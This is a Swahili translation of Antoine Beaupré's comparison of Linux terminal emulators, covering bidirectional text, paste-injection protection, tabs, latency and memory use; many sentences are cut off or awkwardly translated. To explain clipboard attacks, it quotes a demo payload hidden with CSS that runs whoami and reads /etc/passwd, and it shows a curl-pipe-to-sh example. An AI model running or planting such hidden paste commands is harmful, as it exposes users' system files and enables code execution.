Maneno machache kutoka kwa ofisi yetu ya utafsiri: kwa kawaida kila mtu hujitahidi kutafsiri nyenzo na machapisho ya hivi punde, na sisi pia si tofauti. Lakini vituo sio kitu ambacho kinasasishwa mara moja kwa wiki. Kwa hivyo, tumekutafsiria nakala ya Antoine Beaupré, iliyochapishwa katika chemchemi ya 2018: licha ya "umri" wake mkubwa na viwango vya kisasa, kwa maoni yetu, nyenzo hiyo haijapoteza umuhimu wake hata kidogo. Kwa kuongeza, hii ilikuwa awali mfululizo wa makala mbili, lakini tuliamua kuchanganya kwenye chapisho moja kubwa.
Vituo vina nafasi maalum katika historia ya kompyuta, lakini katika miongo ya hivi karibuni vimelazimika kuishi kando ya safu ya amri kwani violesura vya picha vinakuwa kila mahali.
Baadhi ya vituo vina mashimo ya usalama ya kustaajabisha, pamoja na mengi yana seti tofauti kabisa ya vitendakazi, kutoka kwa usaidizi wa kiolesura chenye kichupo hadi uandishi. Ingawa sisi
Hapa kuna vituo nilivyokagua:
Hizi haziwezi kuwa matoleo ya hivi karibuni, kwa kuwa nilikuwa mdogo kwa kujenga imara wakati wa kuandika, ambayo niliweza kusambaza kwenye Debian 9 au Fedora 27. Mbali pekee ni Alacritty. Ni kizazi cha vituo vya kasi vya GPU na imeandikwa kwa lugha isiyo ya kawaida na mpya kwa kazi hii - Rust. Nilitenga vituo vya wavuti kutoka kwa ukaguzi wangu (pamoja na wale walio kwenye
Msaada wa Unicode
Nilianza majaribio yangu kwa usaidizi wa Unicode. Jaribio la kwanza la vituo lilikuwa ni kuonyesha mfuatano wa Unicode kutoka
Kwa msingi, xterm hutumia fonti ya "fasta", ambayo, kulingana na
Picha hizi za skrini zilipigwa katika Fedora 27, kwani ilitoa matokeo bora kuliko Debian 9, ambapo matoleo mengine ya zamani ya vituo (haswa mlterm) hayakuweza kushughulikia fonti ipasavyo. Kwa bahati nzuri hii ilirekebishwa katika matoleo ya baadaye.
Sasa angalia jinsi mstari unaonyeshwa katika xterm. Inabadilika kuwa ishara Mem na Semitic ifuatayo
"Programu nyingi za kompyuta haziwezi kuonyesha maandishi ya pande mbili kwa usahihi. Kwa mfano, jina la Kiebrania "Sarah" linajumuisha herufi sin (ש) (ambayo inaonekana upande wa kulia), kisha resh (ר) na hatimaye yeye (ה) (ambayo inapaswa kuonekana upande wa kushoto)."
Vituo vingi hufeli jaribio hili: Vituo vya Gnome na XFCE vinavyotokana na Alacritty, VTE, urxvt, st na xterm onyesho la "Sara" kwa mpangilio wa kinyume, kana kwamba tumeandika jina kama "Aras".
Tatizo jingine la maandishi yanayoelekeza pande mbili ni kwamba yanahitaji kuunganishwa kwa namna fulani, hasa linapokuja suala la kuchanganya maandishi ya RTL na LTR. Hati za RTL zinapaswa kuendeshwa kutoka upande wa kulia wa dirisha la terminal, lakini ni nini kinapaswa kutokea kwa vituo ambavyo chaguomsingi vya LTR English? Wengi wao hawana mifumo maalum na panga maandishi yote kushoto (pamoja na Konsole). Vighairi ni pterm na mlterm, ambazo hufuata viwango na kusawazisha mistari kama hiyo.
Ulinzi wa kuingizwa
Kipengele muhimu kinachofuata ambacho nimetambua ni ulinzi dhidi ya kuingizwa. Ingawa inajulikana sana kwamba inaelezea kama:
$ curl http://example.com/ | sh
ni amri za kushinikiza za utekelezaji wa nambari, watu wachache wanajua kuwa amri zilizofichwa zinaweza kuingia kwenye koni wakati wa kunakili na kubandika kutoka kwa kivinjari cha wavuti, hata baada ya ukaguzi wa uangalifu.
git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git
inageuka kuwa kero kama hiyo inapobandikwa kutoka kwa tovuti ya Horn hadi kwenye terminal:
git clone /dev/null;
clear;
echo -n "Hello ";
whoami|tr -d 'n';
echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';
head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
Inavyofanya kazi? Msimbo hasidi umejumuishwa kwenye kizuizi , ambayo hutolewa nje ya mwonekano wa mtumiaji kwa kutumia CSS.
set enable-bracketed-paste on
Kwa bahati mbaya, tovuti ya majaribio ya Horn pia inaonyesha jinsi ya kukwepa ulinzi huu kupitia uumbizaji wa maandishi yenyewe na kabla ya wakati wake kuishia kutumia Hali ya Mabano kwake. Hii inafanya kazi kwa sababu vituo vingine havichuji kwa usahihi mpangilio wa kutoroka kabla ya kuongeza vyao. Kwa mfano, katika mgodi sikuwahi kufanikiwa kukamilisha majaribio ya Konsole hata kwa usanidi sahihi .inputrc faili. Hii ina maana kwamba unaweza kupata usanidi wa mfumo wako kwa urahisi kutokana na programu isiyotumika au shell iliyosanidiwa vibaya. Hii ni hatari sana wakati wa kuingia kwenye seva za mbali, ambapo kazi ya usanidi wa uangalifu sio kawaida, haswa ikiwa una mashine nyingi za mbali.
Suluhisho nzuri kwa shida hii ni programu-jalizi ya uthibitishaji wa terminal urxvt, ambayo inauliza tu ruhusa ya kuingiza maandishi yoyote ambayo yana laini mpya. Sijapata chaguo salama zaidi kwa shambulio la maandishi lililoelezewa na Pembe.
Vichupo na wasifu
Kipengele maarufu sasa ni usaidizi wa kiolesura chenye kichupo, ambacho tutakifafanua kama kidirisha kimoja cha wastaafu kilicho na vituo kadhaa zaidi. Chaguo hili la kukokotoa hutofautiana kwa vituo tofauti, na ingawa vituo vya kawaida vya xterm havitumii vichupo hata kidogo, uimbaji wa kisasa zaidi wa wastaafu kama vile Kituo cha Xfce, Kituo cha GNOME na Konsole vina utendakazi huu. Urxvt pia inasaidia vichupo, lakini tu ikiwa unatumia programu-jalizi. Lakini kwa upande wa usaidizi wa kichupo yenyewe, Terminator ndiye kiongozi asiye na shaka: sio tu inasaidia tabo, lakini pia inaweza kupanga vituo kwa mpangilio wowote (tazama picha hapa chini).
Kipengele kingine cha Terminator ni uwezo wa "kuweka pamoja" vichupo hivi pamoja na kutuma vibonye vitufe sawa kwa vituo vingi kwa wakati mmoja, kutoa zana ghafi ya kufanya shughuli nyingi kwenye seva nyingi kwa wakati mmoja. Kipengele sawa pia kinatekelezwa katika Konsole. Ili kutumia kipengele hiki katika vituo vingine, lazima utumie programu ya wahusika wengine kama vile
Vichupo hufanya kazi vizuri sana wakati vimeunganishwa na wasifu: kwa mfano, unaweza kuwa na kichupo kimoja cha barua pepe, kingine cha gumzo, na kadhalika. Hii inaungwa mkono vyema na Kituo cha Konsole na Kituo cha GNOME. Zote mbili huruhusu kila kichupo kuzindua kiotomati wasifu wake. Terminator pia inasaidia wasifu, lakini sikuweza kupata njia ya kuzindua kiotomatiki programu fulani unapofungua kichupo maalum. Vituo vingine havina dhana ya "wasifu" hata kidogo.
Ruffles
Kitu cha mwisho nitakachofunika katika sehemu ya kwanza ya makala hii ni kuonekana kwa vituo. Kwa mfano GNOME, Xfce na urxvt inasaidia uwazi, lakini hivi majuzi zimepunguza usaidizi wa picha za mandharinyuma, na kulazimisha watumiaji wengine kubadili kwenye terminal.
Baadhi ya vituo pia huchanganua maandishi kwa ruwaza za URL ili kufanya viungo kubofya. Hii inatumika kwa vituo vyote vinavyotokana na VTE, ilhali urxvt inahitaji programu-jalizi maalum ambayo inaweza kubadilisha URL kwa kubofya au kutumia njia ya mkato ya kibodi. Vituo vingine nimejaribu URL za kuonyesha kwa njia zingine.
Hatimaye, mwelekeo mpya katika vituo ni chaguo la bafa ya kusogeza. Kwa mfano, st haina bafa ya kusogeza; inadhaniwa kuwa mtumiaji atatumia kiboreshaji cha terminal kama tmux na
Alacritty pia haina bafa za kurudisha nyuma, lakini
Jumla ndogo
Katika sehemu ya pili ya nyenzo (katika asili hizi zilikuwa nakala mbili tofauti - takriban. njia) tutalinganisha utendaji, utumiaji wa kumbukumbu na ucheleweshaji. Lakini tunaweza kuona kwamba baadhi ya vituo vinavyohusika vina mapungufu makubwa. Kwa mfano, watumiaji wanaofanya kazi mara kwa mara na hati za RTL wanaweza kutaka kuzingatia mlterm na pterm, kwa kuwa wao ni bora katika kushughulikia kazi zinazofanana kuliko zingine. Konsole pia ilifanya vizuri. Watumiaji ambao hawafanyi kazi na hati za RTL wanaweza kuchagua kitu kingine.
Kwa upande wa ulinzi dhidi ya kuingizwa kwa msimbo hasidi, urxvt inajitokeza kwa sababu ya utekelezaji wake maalum wa ulinzi dhidi ya aina hii ya shambulio, ambayo inaonekana kwangu kuwa rahisi kwangu. Kwa wale wanaotafuta kengele na filimbi, Konsole inafaa kutazamwa. Hatimaye, ni muhimu kuzingatia kwamba VTE ni msingi bora wa vituo, ambayo inahakikisha usaidizi wa rangi, utambuzi wa URL, na kadhalika. Kwa mtazamo wa kwanza, terminal chaguo-msingi inayokuja na mazingira unayopenda inaweza kukidhi mahitaji yote, lakini hebu tuliache swali hili wazi hadi tuelewe utendakazi.
Tuendelee na mazungumzo
Kwa ujumla, utendakazi wa vituo vyenyewe unaweza kuonekana kama tatizo lisiloeleweka, lakini inavyotokea, baadhi yao huonyesha utulivu wa hali ya juu wa programu ya aina hiyo ya msingi. Pia ijayo tutaangalia kile kinachojulikana kama "kasi" (kwa kweli, hii ni kasi ya kusogeza) na utumiaji wa kumbukumbu ya terminal (pamoja na pango kwamba hii sio muhimu leo kama ilivyokuwa miongo kadhaa iliyopita).
Kuchelewa
Baada ya utafiti wa kina wa utendaji wa terminal, nilifikia hitimisho kwamba parameter muhimu zaidi katika suala hili ni latency (ping). Katika makala yake
Lakini latency ni nini, na kwa nini ni muhimu sana? Katika makala yake, Fatin alifafanua kuwa “kuchelewa kati ya kubonyeza kitufe na kusasisha skrini inayolingana” na kunukuliwa.
Fatin anaeleza kwamba ping hii ina matokeo makubwa zaidi kuliko kuridhika tu: “kuandika kunakuwa polepole, makosa mengi hutokea, na mkazo wa macho na misuli huongezeka.” Kwa maneno mengine, ucheleweshaji mkubwa unaweza kusababisha typos na pia ubora wa chini wa msimbo, kwani husababisha mzigo wa ziada wa utambuzi kwenye ubongo. Lakini mbaya zaidi ni kwamba ping "huongeza mkazo wa macho na misuli," ambayo inaonekana kumaanisha
Baadhi ya athari hizi zimejulikana kwa muda mrefu, na matokeo yake
Fatin alifanya majaribio yake kwa wahariri wa maandishi; aliunda chombo cha kubebeka kinachoitwa
Haya hapa ni matokeo ya vipimo vyangu, pamoja na baadhi ya matokeo ya Fatin, kuonyesha kwamba majaribio yangu yanakubaliana na majaribio yake:
Jambo la kwanza ambalo lilinigusa ni wakati bora wa kujibu wa programu za zamani kama vile xterm na mlterm. Kwa latency mbaya zaidi ya rejista (2,4 ms), walifanya vizuri zaidi kuliko terminal ya kisasa ya haraka (10,6 ms kwa st). Hakuna terminal ya kisasa iliyo chini ya kizingiti cha milisekunde 10. Hasa, Alacritty inashindwa kukidhi dai la "emulator ya haraka zaidi inayopatikana", ingawa alama zake zimeboreshwa tangu ukaguzi wake wa kwanza mnamo 2017. Kwa kweli, waandishi wa mradi huo
Hata hivyo, tofauti hizo haziwezi kuonekana kwa jicho. Kama Fatin aelezavyo, “si lazima ujue kucheleweshwa ili kuwe na matokeo kwako.” Fatin pia anaonya kuhusu kupotoka kwa kawaida: "mvurugiko wowote wa muda wa kusubiri (jitter) hutokeza mkazo zaidi kwa sababu ya kutotabirika kwao."
Grafu hapo juu imechukuliwa kwenye Debian 9 safi (nyoosha) na
Kasi ya kusogeza
Jaribio linalofuata ni jaribio la kawaida la "kasi" au "bandwidth", ambalo hupima jinsi terminal inavyoweza kusogeza ukurasa huku ikionyesha idadi kubwa ya maandishi kwenye skrini. Mechanics ya mtihani hutofautiana; jaribio la asili lilikuwa kutoa tu kamba ya maandishi sawa kwa kutumia seq amri. Majaribio mengine ni pamoja na mtihani wa Thomas E. Dickey (msimamizi wa xterm), ambao mara kwa mara
Hapa tunaona rxvt na st kuvuta mbele ya shindano, ikifuatiwa na Alacritty mpya zaidi, ambayo imeundwa kwa kuzingatia utendakazi. Inayofuata ni Xfce (familia ya VTE) na Konsole, ambayo ni karibu mara mbili zaidi. Mwisho ni xterm, ambayo ni polepole mara tano kuliko rxvt. Wakati wa jaribio, xterm pia ilisambaratika sana, na kufanya maandishi kuwa magumu kuona hata ikiwa ni laini sawa. Konsole ilikuwa na kasi, lakini ilikuwa ngumu wakati mwingine: onyesho lingeganda mara kwa mara, likionyesha sehemu ya maandishi au kutoionyesha kabisa. Vituo vingine vilionyesha mifuatano kwa uwazi, ikijumuisha st, Alacritty, na rxvt.
Dickey anaeleza kuwa tofauti za utendakazi zinatokana na muundo wa vibafa vya kusogeza katika vituo tofauti. Hasa, anashutumu rxvt na vituo vingine vya "kutofuata sheria za jumla":
"Tofauti na xterm, rxvt haikujaribu kuonyesha sasisho zote. Ikiwa itasalia nyuma, itakataa masasisho kadhaa kupatana. Hii ilikuwa na athari kubwa kwa kasi inayoonekana ya kusogeza kuliko kwenye shirika la kumbukumbu ya ndani. Kikwazo kimoja kilikuwa kwamba uhuishaji wa ASCII haukuwa sahihi kwa kiasi fulani."
Ili kurekebisha uvivu huu wa xterm, Dickey anapendekeza kutumia rasilimali
Matumizi ya rasilimali
Bila kujali kama inaeleweka kuzingatia kasi ya kusogeza kama kipimo cha utendakazi, jaribio hili huturuhusu kuiga mzigo kwenye vituo, ambavyo huturuhusu kupima vigezo vingine kama vile kumbukumbu au matumizi ya diski. Vipimo vilipatikana kwa kufanya jaribio lililobainishwa seq chini ya ufuatiliaji wa mchakato wa Python. Alikusanya data za mita
Katika jaribio hili, ST inachukua nafasi ya kwanza na wastani wa chini wa matumizi ya kumbukumbu ya 8 MB, ambayo haishangazi kwa kuzingatia kuwa wazo kuu la muundo ni unyenyekevu. mlterm, xterm na rxvt hutumia zaidi kidogo - takriban 12 MB. Matokeo mengine mashuhuri ni Alacritty, ambayo inahitaji MB 30 kukimbia. Halafu kuna vituo vya familia ya VTE na takwimu kutoka 40 hadi 60 MB, ambayo ni mengi sana. Matumizi haya yanaweza kuelezewa na ukweli kwamba vituo hivi vinatumia maktaba ya kiwango cha juu, kwa mfano, GTK. Konsole inakuja mwisho ikiwa na matumizi makubwa ya kumbukumbu ya MB 65 wakati wa majaribio, ingawa hii inaweza kuthibitishwa na anuwai ya vipengele.
Ikilinganishwa na matokeo ya awali yaliyopatikana miaka kumi iliyopita, programu zote zilianza kutumia kumbukumbu zaidi. Xterm ilikuwa ikihitaji MB 4, lakini sasa inahitaji MB 15 mwanzoni tu. Kuna ongezeko sawa la matumizi ya rxvt, ambayo sasa inahitaji MB 16 nje ya boksi. Kituo cha Xfce kinachukua hadi MB 34, ambayo ni kubwa mara tatu kuliko hapo awali, lakini Kituo cha GNOME kinahitaji MB 20 pekee. Kwa kweli, majaribio yote ya hapo awali yalifanywa kwenye usanifu wa 32-bit. Katika LCA 2012 Rusty Russell
Walakini, siwezi kusaidia lakini kuhisi kuwa kugawa kumbukumbu zaidi kwa kitu cha msingi kama terminal ni upotezaji wa rasilimali. Programu hizi zinapaswa kuwa ndogo zaidi ya ndogo zaidi, zinapaswa kuwa na uwezo wa kukimbia kwenye "sanduku" lolote, hata sanduku la viatu, ikiwa tutafikia mahali ambapo wanahitaji kuwa na mifumo ya Linux (na unajua kuwa itakuwa hivyo. ). Lakini kwa nambari hizi, utumiaji wa kumbukumbu utakuwa suala katika siku zijazo katika mazingira yoyote yanayoendesha vituo vingi isipokuwa chache cha uwezo mdogo na mdogo zaidi. Ili kufidia hili, Kituo cha GNOME, Konsole, urxvt, Terminator na Kituo cha Xfce kina modi ya Daemon inayokuruhusu kudhibiti vituo vingi kupitia mchakato mmoja, na kupunguza matumizi yao ya kumbukumbu.
Wakati wa majaribio yangu, nilikuja kwa matokeo mengine yasiyotarajiwa kuhusu diski kusoma-kuandika: Nilitarajia kuona chochote hapa, lakini ikawa kwamba vituo vingine huandika data kubwa zaidi kwa diski. Kwa hivyo, maktaba ya VTE kwa kweli huweka bafa ya kusogeza kwenye diski (kipengele hiki
Hitimisho
Katika sehemu ya kwanza ya makala, tuligundua kwamba vituo vya VTE vina seti nzuri ya vipengele, lakini sasa tunaona kwamba hii inakuja na gharama fulani za utendaji. Sasa kumbukumbu sio suala kwa sababu vituo vyote vya VTE vinaweza kudhibitiwa kupitia mchakato wa Daemon, ambao unapunguza hamu yao ya kula. Hata hivyo, mifumo ya zamani ambayo ina vikwazo vya kimwili juu ya kiasi cha RAM na buffers ya kernel bado inaweza kuhitaji matoleo ya awali ya vituo, kwa kuwa hutumia rasilimali chache sana. Ingawa vituo vya VTE vilifanya vyema katika majaribio ya upitishaji (kusogeza), muda wa onyesho lao uko juu ya kiwango kilichowekwa kwenye Mwongozo wa Mtumiaji wa GNOME. Wasanidi wa VTE labda wanapaswa kuzingatia hili. Ikiwa tutazingatia kwamba hata kwa watumiaji wa novice wa Linux wanaokutana na terminal ni lazima, wanaweza kuifanya iwe ya kirafiki zaidi. Kwa majahili wenye uzoefu, kubadili kutoka kwa terminal chaguo-msingi kunaweza hata kumaanisha kupunguza matatizo ya macho na uwezo wa kuepuka majeraha na magonjwa yanayohusiana na kazi siku zijazo kutokana na vipindi virefu vya kazi. Kwa bahati mbaya, ni xterm ya zamani na mlterm hutuleta kwenye kizingiti cha uchawi cha milliseconds 10, ambayo haikubaliki kwa wengi.
Vipimo vya kulinganisha pia vilionyesha kuwa kwa sababu ya ukuzaji wa mazingira ya picha ya Linux, watengenezaji walilazimika kufanya maafikiano kadhaa. Watumiaji wengine wanaweza kutaka kuangalia wasimamizi wa kawaida wa dirisha kwani wanatoa upunguzaji mkubwa wa ping. Kwa bahati mbaya, haikuwezekana kupima muda wa kusubiri kwa Wayland: programu ya Typometer niliyotumia iliundwa kwa kile ambacho Wayland imeundwa kuzuia: kupeleleza kwenye madirisha mengine. Natumai kuwa utunzi wa Wayland utafanya vyema zaidi kuliko X.org, na pia ninatumai kuwa katika siku zijazo mtu atapata njia ya kupima muda katika mazingira haya.
Chanzo: mapenzi.com